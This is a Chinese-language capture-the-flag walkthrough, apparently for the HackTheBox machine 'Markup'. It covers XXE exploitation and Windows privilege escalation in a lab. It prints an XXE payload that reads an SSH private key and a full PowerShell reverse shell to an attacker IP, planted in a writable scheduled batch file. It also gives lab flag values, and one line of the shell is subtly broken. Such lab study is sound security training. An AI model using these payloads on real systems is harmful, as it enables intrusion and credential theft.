[StartingPoint][Tier2]Markup
字数 1125 2025-08-19 12:42:22

XXE注入漏洞利用与提权实战教学文档

1. 目标环境侦察

1.1 服务版本识别

使用Nmap扫描目标80端口服务版本:

nmap -sC -sV 10.129.95.192 -p 80

发现Apache版本为2.4.41

1.2 网站登录凭证

通过测试发现有效凭证:

  • 用户名:admin
  • 密码:password

1.3 关键页面分析

网站顶部接受用户输入的关键字为:order

2. XML与XXE基础

2.1 XML版本

目标系统使用的XML版本为:1.0

2.2 XXE攻击定义

XXE全称:XML External Entity(XML外部实体注入)

3. XXE漏洞利用实战

3.1 工具准备

使用MXXE工具(已更新至1.2版本):

https://github.com/MartinxMax/MXXE

3.2 敏感文件获取

  1. 创建payload.txt文件,包含以下内容:
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY test SYSTEM 'file:///c:/Users/daniel/.ssh/id_rsa'>
]>
<order>
    <quantity>3</quantity>
    <item>&test;</item>
    <address>17th Estate, CA</address>
</order>
  1. 执行攻击:
python3 MXXE.py -lh 10.10.16.5 -user Daniel -server windows

3.3 SSH私钥利用

  1. 保存获取的私钥到id_rsa文件
  2. 设置适当权限:
chmod 400 id_rsa
  1. 使用私钥连接:
ssh -i id_rsa Daniel@10.129.95.192

4. 权限提升技术

4.1 发现提权机会

在Log-Management文件夹中发现文件:job.bat

4.2 文件分析

job.bat中提到的可执行文件:wevtutil.exe

4.3 权限检查

使用icacls检查job.bat权限:

icacls job.bat

发现BUILTIN\Users组具有完全控制(F)权限

4.4 计划任务检查

检查系统计划任务:

schtasks

或使用PowerShell:

ps

4.5 反向Shell构造

修改job.bat内容为以下PowerShell反向Shell:

powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "$client = New-Object System.Net.Sockets.TCPClient('10.10.16.5', 10032); $stream = $client.GetStream(); while($true){ $data = (New-Object System.IO.StreamReader($stream)).ReadLine(); $sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush() }; $client.Close()"

4.6 文件替换

使用PowerShell下载修改后的job.bat:

Invoke-WebRequest -Uri http://10.10.16.5/job.bat -UseBasicParsing -OutFile job.bat

4.7 监听设置

在攻击机上设置监听:

nc -lvnp 10032

5. 获取Flag

5.1 用户Flag

type C:\Users\Daniel\Desktop\user.txt

得到:032d2fc8952a8c24e39c8f0ee9918ef7

5.2 管理员Flag

type C:/Users/administrator/Desktop/root.txt

得到:f574a3e7650cebd8c39784299cb570f8

6. 关键工具与命令总结

工具/命令 用途
nmap -sC -sV 服务版本扫描
MXXE.py XXE自动化利用工具
chmod 400 设置SSH私钥权限
icacls Windows ACL查看/修改
schtasks 计划任务管理
wevtutil.exe Windows事件日志工具
Invoke-WebRequest PowerShell下载文件
nc -lvnp Netcat监听

7. 安全建议

  1. 禁用XML外部实体解析
  2. 限制服务器文件系统访问
  3. 定期审计计划任务权限
  4. 避免使用弱密码
  5. 严格控制SSH私钥权限
  6. 监控异常进程执行
XXE注入漏洞利用与提权实战教学文档 1. 目标环境侦察 1.1 服务版本识别 使用Nmap扫描目标80端口服务版本: 发现Apache版本为2.4.41 1.2 网站登录凭证 通过测试发现有效凭证: 用户名: admin 密码: password 1.3 关键页面分析 网站顶部接受用户输入的关键字为: order 2. XML与XXE基础 2.1 XML版本 目标系统使用的XML版本为: 1.0 2.2 XXE攻击定义 XXE全称: XML External Entity (XML外部实体注入) 3. XXE漏洞利用实战 3.1 工具准备 使用MXXE工具(已更新至1.2版本): 3.2 敏感文件获取 创建payload.txt文件,包含以下内容: 执行攻击: 3.3 SSH私钥利用 保存获取的私钥到id_ rsa文件 设置适当权限: 使用私钥连接: 4. 权限提升技术 4.1 发现提权机会 在Log-Management文件夹中发现文件: job.bat 4.2 文件分析 job.bat中提到的可执行文件: wevtutil.exe 4.3 权限检查 使用icacls检查job.bat权限: 发现BUILTIN\Users组具有完全控制(F)权限 4.4 计划任务检查 检查系统计划任务: 或使用PowerShell: 4.5 反向Shell构造 修改job.bat内容为以下PowerShell反向Shell: 4.6 文件替换 使用PowerShell下载修改后的job.bat: 4.7 监听设置 在攻击机上设置监听: 5. 获取Flag 5.1 用户Flag 得到: 032d2fc8952a8c24e39c8f0ee9918ef7 5.2 管理员Flag 得到: f574a3e7650cebd8c39784299cb570f8 6. 关键工具与命令总结 | 工具/命令 | 用途 | |----------|------| | nmap -sC -sV | 服务版本扫描 | | MXXE.py | XXE自动化利用工具 | | chmod 400 | 设置SSH私钥权限 | | icacls | Windows ACL查看/修改 | | schtasks | 计划任务管理 | | wevtutil.exe | Windows事件日志工具 | | Invoke-WebRequest | PowerShell下载文件 | | nc -lvnp | Netcat监听 | 7. 安全建议 禁用XML外部实体解析 限制服务器文件系统访问 定期审计计划任务权限 避免使用弱密码 严格控制SSH私钥权限 监控异常进程执行